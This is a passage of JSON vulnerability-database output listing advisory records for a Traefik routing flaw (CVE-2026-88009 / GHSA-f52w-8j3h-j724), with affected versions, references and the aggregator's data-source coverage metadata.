Provenance\n\nFound by an external automated code scan (`CLAUDE-SECURITY-20260824-122205`) of `pkg/middlewares`, `pkg/proxy`, `pkg/server`, `pkg/muxer` and `pkg/tls` on branch `v3.7` at commit `d5072ce7b8765c9574246072e05dd81d84950da7`, then triaged with the `advisory-check` process : mechanism-level duplicate check against the existing advisory corpus, CVE-policy gate, security-documentation grounding, comparable-project precedent, and a mandatory reproduction attempt.\n\nTriage outcome : **Likely Valid**, confidence High, reproduced (yes). Expected publication likelihood at triage time : High.\n\nScanner finding ids : F4, F20. Internal report : `findings/scan-20260824/verdicts/J04.md, J18.md` in the security-advisor repository.\n\n</details>\n---","state":0,"publishedAt":"2026-09-10T23:03:53+00:00","modifiedAt":"2026-09-17T17:40:41.0686343+00:00","affected":[{"ecosystem":"Go","name":"github.com/traefik/traefik/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.0.0"},{"kind":"fixed","version":"3.7.13"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/traefik/traefik/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.11.57"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-f52w-8j3h-j724","https://nvd.nist.gov/vuln/detail/CVE-2026-88009","https://github.com/traefik/traefik/pull/13796","https://github.com/traefik/traefik/commit/58d1e9ca204526823211e30fd4634101c59d58e9","https://github.com/traefik/traefik","https://github.com/traefik/traefik/releases/tag/v2.11.57","https://github.com/traefik/traefik/releases/tag/v3.7.13"],"sourceUrl":"https://github.com/advisories/GHSA-f52w-8j3h-j724","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-f52w-8j3h-j724","identifiers":["GHSA-f52w-8j3h-j724","CVE-2026-88009","GO-2026-6465"]},"retained":false,"historicalAffected":[]},{"revision":"8126aa3e6d3244589507b8d0ee57e174","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6465","aliases":["CVE-2026-88009","GHSA-f52w-8j3h-j724"],"title":"Traefik: Rootless HTTP/1 request-target routes as \"/\" but is forwarded verbatim, bypassing path-scoped routing, middleware guards and access logging in github.com/traefik/traefik","description":"Traefik: Rootless HTTP/1 request-target routes as \"/\" but is forwarded verbatim, bypassing path-scoped routing, middleware guards and access logging in github.com/traefik/traefik","state":0,"publishedAt":"2026-09-16T16:56:22+00:00","modifiedAt":"2026-09-17T17:30:12.1887904+00:00","affected":[{"ecosystem":"Go","name":"github.com/traefik/traefik","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/traefik/traefik/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.11.57"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/traefik/traefik/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.0.0"},{"kind":"fixed","version":"3.7.13"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-f52w-8j3h-j724","https://nvd.nist.gov/vuln/detail/CVE-2026-88009","https://github.com/traefik/traefik/commit/58d1e9ca204526823211e30fd4634101c59d58e9","https://github.com/traefik/traefik/pull/13796","https://github.com/traefik/traefik/releases/tag/v2.11.57","https://github.com/traefik/traefik/releases/tag/v3.7.13"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6465","license":"OSV · upstream source license applies","key":"osv:GO-2026-6465","identifiers":["GO-2026-6465","CVE-2026-88009","GHSA-f52w-8j3h-j724"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-13T07:09:48.0434594+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-13T07:09:48.0434594+00:00","lastSuccessAt":"2026-11-13T07:09:48.3275958+00:00","error":null,"lastVerifiedAt":"2026-11-13T07:09:48.3277431+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-d8fa82e95fdb59244e2f635e667ba17f0796ca0a4f1f4bb8cc31febcd660b76c-c5309b25400581525e35b5d686fde5eb801ba52451edf64385de1067c7c5e97b","complete":true,"records":424978,"lastAttemptAt":"2026-11-13T07:09:47.3634648+00:00","lastSuccessAt":"2026-11-13T06:55:18.981967+00:00","error":null,"lastVerifiedAt":"2026-11-13T07:09:47.3634648+00:00","snapshotPublishedAt":"2026-11-13T06:26:49+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c400362982e04b6aa54109c6b458794c","complete":false,"records":13793,"lastAttemptAt":"2026-11-13T07:19:26.5908907+00:00","lastSuccessAt":"2026-11-13T07:19:26.552+00:00","error":"356 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-13T07:19:26.552+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13490,"expectedIdentifiers":13846,"failedIdentifiers":356},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-13T07:09:48.0434594+00:00","complete":true,"records":1123,"lastAttemptAt":"2026-11-13T07:09:48.0434594+00:00","lastSuccessAt":"2026-11-13T07:09:48.4741485+00:00","error":null,"lastVerifiedAt":"2026-11-13T07:09:48.4741489+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-dad46f90d10c4b5890012c0a64d342dc","complete":true,"records":13793,"lastAttemptAt":"2026-11-13T07:09:49.8746887+00:00","lastSuccessAt":"2026-11-13T06:18:21.149+00:00","error":null,"lastVerifiedAt":"2026-11-13T06:18:21.149+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13846,"expectedIdentifiers":13846,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-93e76d404e1aeb6a7e8902f5ffa06211fc86dea3b1958e297abb2668aa5e6e8c","complete":true,"records":9952,"lastAttemptAt":"2026-11-13T07:09:47.7322763+00:00","lastSuccessAt":"2026-11-12T23:19:15.5239119+00:00","error":null,"lastVerifiedAt":"2026-11-13T07:09:47.7322763+00:00","snapshotPublishedAt":"2026-11-12T23:03:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-4d60731753a2f72e455d1086e7203d0ef10843936dcc1cf2b45135e2caa204b0","complete":true,"records":2012,"lastAttemptAt":"2026-11-13T07:09:47.5190756+00:00","lastSuccessAt":"2026-11-12T18:16:50.7862525+00:00","error":null,"lastVerifiedAt":"2026-11-13T07:09:47.5190756+00:00","snapshotPublishedAt":"2026-11-12T17:48:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-20d1a8ab073a1c13ab2143dbcadb34ebb8edf1e18e16482b448513662c3d1e12","complete":true,"records":3127,"lastAttemptAt":"2026-11-13T07:09:47.8377123+00:00","lastSuccessAt":"2026-11-12T22:18:31.0338213+00:00","error":null,"lastVerifiedAt":"2026-11-13T07:09:47.8377123+00:00","snapshotPublishedAt":"2026-11-12T22:18:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-178522b1ccf3a779bfdc323be85feb949f35ae83fc129db130584901ae0094bb","complete":true,"records":231768,"lastAttemptAt":"2026-11-13T07:09:47.6322837+00:00","lastSuccessAt":"2026-11-13T06:57:00.764342+00:00","error":null,"lastVerifiedAt":"2026-11-13T07:09:47.6322837+00:00","snapshotPublishedAt":"2026-11-13T06:32:53+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}